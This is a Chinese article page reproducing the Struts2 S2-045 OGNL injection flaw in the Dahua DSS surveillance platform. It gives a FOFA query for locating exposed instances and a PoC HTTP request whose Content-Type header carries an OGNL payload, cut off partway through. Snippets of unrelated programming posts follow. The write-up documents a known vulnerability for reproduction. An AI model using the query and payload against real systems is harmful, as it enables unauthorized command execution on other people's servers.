当前位置： 首页 > news >正文

大华DSS S2-045 OGNL表达式注入漏洞复现

news 2026/2/8 3:51:24

0x01 产品简介

 大华DSS安防监控系统平台是一款集视频、报警、存储、管理于一体的综合安防解决方案。该平台支持多种接入方式，包括网络视频、模拟视频、数字视频、IP电话、对讲机等。此外，该平台还支持多种报警方式，包括移动侦测、区域入侵、越线报警、人员聚集等。

0x02 漏洞概述

 大华DSS安防监控系统平台采用ApacheStruts2作为网站应用框架。由于应用程序框架存在远程命令执行漏洞，攻击者可以通过在上传文件时修改HTTP请求标头中的Content Type值来触发该漏洞，然后执行该漏洞。系统命令以获取服务器权限。

0x03 复现环境

FOFA：

body="/portal/include/script/dahuaDefined/headCommon.js?type=index" && title="DSS"

0x04 漏洞复现

PoC

POST /admin/login_login.action HTTP/1.1
Host: your-ip
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container

相关文章：

大华DSS S2-045 OGNL表达式注入漏洞复现

0x01 产品简介 大华DSS安防监控系统平台是一款集视频、报警、存储、管理于一体的综合安防解决方案。该平台支持多种接入方式，包括网络视频、模拟视频、数字视频、IP电话、对讲机等。此外，该平台还支持多种报警方式，包括移动侦测、区域入侵、越线报警、人员聚集等。 0x02 漏…...

编程日记 2023/12/8 23:52:40

大数据之HBase（二）

Master详细架构 位置：namenode实现类：HMaster组成 负载均衡器：通过meta了解region的分配，通过zk了解rs的启动情况，5分钟调控一次分配平衡元数据表管理器：管理自己的预写日志，如果宕机&#xff…...

编程日记 2023/12/8 23:51:39

前后端数据传输格式(下)

作者简介：大家好，我是smart哥，前中兴通讯、美团架构师，现某互联网公司CTO 联系qq：184480602，加我进群，大家一起学习，一起进步，一起对抗互联网寒冬 上篇主要复习了HTTP以及…...

编程日记 2023/12/8 23:50:38

mysql pxc高可用离线部署（三）

pxc学习流程 mysql pxc高可用 单主机 多主机部署（一） mysql pxc 高可用多主机离线部署（二） mysql pxc高可用离线部署（三） mysql pxc高可用 跨主机部署pxc 本文使用docker进行安装，主机间通过…...

编程日记 2023/12/8 23:49:37

XXL-JOB 日志表和日志文件自动清理

🚀 作者主页： 有来技术 🔥 开源项目： youlai-mall 🍃 vue3-element-admin 🍃 youlai-boot 🌺 仓库主页： Gitee 💫 Github 💫 GitCode 💖 欢迎点赞…...

编程日记 2023/12/8 23:47:36

常用sql记录

备份一张表 PostgreSQL CREATE TABLE new_table AS SELECT * FROM old_table;-- 下面这个比上面好，这个复制表结构时，会把默认值、约束、注释都复制 CREATE TABLE new_table (LIKE old_table INCLUDING ALL) WITHOUT OIDS; INSERT INTO new_table SELE…...

编程日记 2023/12/8 23:46:35

设备温度和振动综合监测：温振一体式传感器的优点和应用

随着工业设备的复杂性和自动化程度的提高，对设备状态监测的需求也日益增加。温振一体式传感器作为一种集振动和温度监测于一体的传感器，具备多项优势，因此在工业设备状态监测领域得到广泛应用。 温振一体式传感器基于振动传感器和温度传感器的…...

编程日记 2023/12/8 23:43:32

彻底解决ModuleNotFoundError: No module named ‘exceptions‘【Bug完美解决】

文章目录 项目场景：问题描述原因分析：解决方案：此Bug解决方案总结心得项目场景： 根据本文可找到bug原因并彻底解决**ModuleNotFoundError: No module named ‘exceptions‘**Bug 报错： E:\Anconda\python.exe c:\Users\24190\PycharmProjects\pythonProject4py尝试 gong…...

编程日记 2023/12/8 23:42:31

yarn和npm的区别

2023-12-8 yarn和npm的区别 是常用的包管理工具，用于node.js项目中安装、管理、和更新依赖项 有以下几个区别： 性能和速度：在包的安装和下载方面，yarn比npm更快速，yarn通过并行下载和缓存等优化策略，可以…...

编程日记 2023/12/8 23:41:30

设计图中时序图

设计图中的时序图通常用于展示两个或多个对象之间的交互和消息传递的顺序。它是一种用于描述软件或系统中的并发性和时序行为的工具。 以下是一个简单的时序图的示例： 首先，在时序图中创建两个对象，例如"对象A"和"对象B&quo…...

编程日记 2023/12/8 23:38:27

反射实现tomcat

获取类信息的方法 1.通过类对象 x.getClass() 2.通过class.forname方法 Class.forname(className);这里className是存储类名的字符串 3.通过类名.class 类名.class 通过类名创建对象 类名.newInstance（）； 反射可以看到类的一切信息&#xff1…...

编程日记 2023/12/8 23:37:26

Ubuntu 安装 CUDA 和 cuDNN 详细步骤

我的Linux系统背景： 系统和驱动都已安装。 系统是centos 8。查看自己操作系统的版本信息：cat /etc/issue或者是 cat /etc/lsb-release 用nvidia-smi可以看到显卡驱动和可支持的最高cuda版本，我的是12.2。驱动版本是535.129.03 首先&#…...

编程日记 2023/12/8 23:36:25

ArkTS快速入门

一、概述 ArkTS是鸿蒙生态的应用开发语言。它在保持TypeScript（简称TS）基本语法风格的基础上，对TS的动态类型特性施加更严格的约束，引入静态类型。同时，提供了声明式UI、状态管理等相应的能力，让开发者可以…...

编程日记 2023/12/8 23:35:24

HTTP不同场景下的通信过程和用户上网认证过程分析

目录 HTTP不同场景的通信过程 HTTP正常交互过程 HTTP透明加速传输过程 HTTP代理服务器场景下交互过程 通过AC对上网用户不同场景的认证过程 AC上网认证正常交互过程 通过Cookie实现免认证交互过程 代理服务器场景下HTTP密码认证交互过程 HTTP不同场景的通信过程 HTTP、…...

编程日记 2023/12/8 23:29:18

VR 实现 Splash Screen 效果

文章目录 背景官方实现逆向分析 背景 手机 App 在实现 Splash Screen 的时候，目前都有成熟的方案可以参考，但是在做 VR 开发时，要如何实现一个 App 自己的 Splash Screen ，下面是我们基于 PICO & OCULUS 进行业务开发时经过探…...

编程日记 2023/12/8 23:27:16

HarmonyOS学习--TypeScript语言学习（一）

注意：这只是我学习的笔记！！！ 注意：这只是我学习的笔记！！！ 注意：这只是我学习的笔记！！！ 本章目录如下： 一、TypeScript语言…...

编程日记 2023/12/8 23:25:14

【C语言】函数递归详解（一）

目录 1.什么是递归： 1.1递归的思想： 1.2递归的限制条件： 2.递归举例： 2.1举例1：求n的阶乘： 2.1.1 分析和代码实现： 2.1.2图示递归过程： 2.2举例2：顺序打印一个整数的…...

编程日记 2023/12/8 23:24:13

WT588F02B-8S语音芯片助力破壁机：智能声音播放提示IC引领健康生活新潮流

在追求健康饮食的时代潮流中，破壁机作为榨汁、搅拌的重要厨房电器，融入智能技术的趋势不断加强。唯创知音的WT588F02B-8S语音芯片作为声音播放提示IC，为破壁机注入了更智能、便捷的声音提示功能，引领用户迈入健康生活的新潮流。 …...

编程日记 2023/12/8 23:22:12

NXP iMX8M Plus Qt5 双屏显示

By Toradex胡珊逢 简介 双屏显示在显示设备中有着广泛的应用，可以面向不同群体展示特定内容。文章接下来将使用 Verdin iMX8M Plus 的 Arm 计算机模块演示如何方便地在 Toradex 的 Linux BSP 上实现在两个屏幕上显示独立的 Qt 应用。 硬件介绍 Verdin iMX8M Plu…...

编程日记 2023/12/8 23:21:11

RepidJson中Writer类、FilewriteStream类、 PrettyWriter类的区别

rapidjson是一个C的JSON解析库，可以用于解析和序列化JSON数据。 Writer是rapidjson中一种基本的输出流，用于将JSON数据输出到字符串或文件中。 FileWriteStream是一个Writer的子类，它专门用于将JSON数据输出到文件中。相比于普通的Writer&a…...

编程日记 2023/12/8 23:19:10

eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)

说明： 想象一下，你正在用eNSP搭建一个虚拟的网络世界，里面有虚拟的路由器、交换机、电脑（PC）等等。这些设备都在你的电脑里面“运行”，它们之间可以互相通信，就像一个封闭的小王国。 但是&#…...

编程新知 2026/2/1 10:33:51

内存分配函数malloc kmalloc vmalloc

内存分配函数malloc kmalloc vmalloc malloc实现步骤： 1）请求大小调整：首先，malloc 需要调整用户请求的大小，以适应内部数据结构（例如，可能需要存储额外的元数据）。通常，这包括对齐调整，确保分配的内存地址满足特定硬件要求（如对齐到8字节或16字节边界）。 2）空闲…...

编程新知 2025/11/1 5:21:39

AI Agent与Agentic AI：原理、应用、挑战与未来展望

文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例：使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例：使用OpenAI GPT-3进…...

编程新知 2026/1/23 7:04:53

SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现，论文初版实现

摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序，以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务，提供稳定高效的数据处理与业务逻辑支持；利用 uniapp 实现跨平台前…...

编程新知 2026/1/31 10:55:22

Java 加密常用的各种算法及其选择

在数字化时代，数据安全至关重要，Java 作为广泛应用的编程语言，提供了丰富的加密算法来保障数据的保密性、完整性和真实性。了解这些常用加密算法及其适用场景，有助于开发者在不同的业务需求中做出正确的选择。​ 一、对称加密算法…...

编程新知 2025/11/22 20:41:02

全志A40i android7.1 调试信息打印串口由uart0改为uart3

一，概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本：2014.07； Kernel版本：Linux-3.10； 二，Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01)，并让boo…...

编程新知 2026/2/5 6:28:09

push [特殊字符] present

push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中，push 和 present 是两种不同的视图控制器切换方式，它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...

编程新知 2026/1/31 4:26:17

MySQL JOIN 表过多的优化思路

当 MySQL 查询涉及大量表 JOIN 时，性能会显著下降。以下是优化思路和简易实现方法： 一、核心优化思路 减少 JOIN 数量 数据冗余：添加必要的冗余字段（如订单表直接存储用户名）合并表：将频繁关联的小表合并成…...

编程新知 2026/1/11 6:22:16

scikit-learn机器学习

# 同时添加如下代码, 这样每次环境(kernel)启动的时候只要运行下方代码即可: # Also add the following code, # so that every time the environment (kernel) starts, # just run the following code: import sys sys.path.append(/home/aistudio/external-libraries)机…...

编程新知 2026/2/1 17:50:36

CSS | transition 和 transform的用处和区别

省流总结： transform用于变换/变形，transition是动画控制器 transform 用来对元素进行变形，常见的操作如下，它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...

编程新知 2025/10/17 20:59:57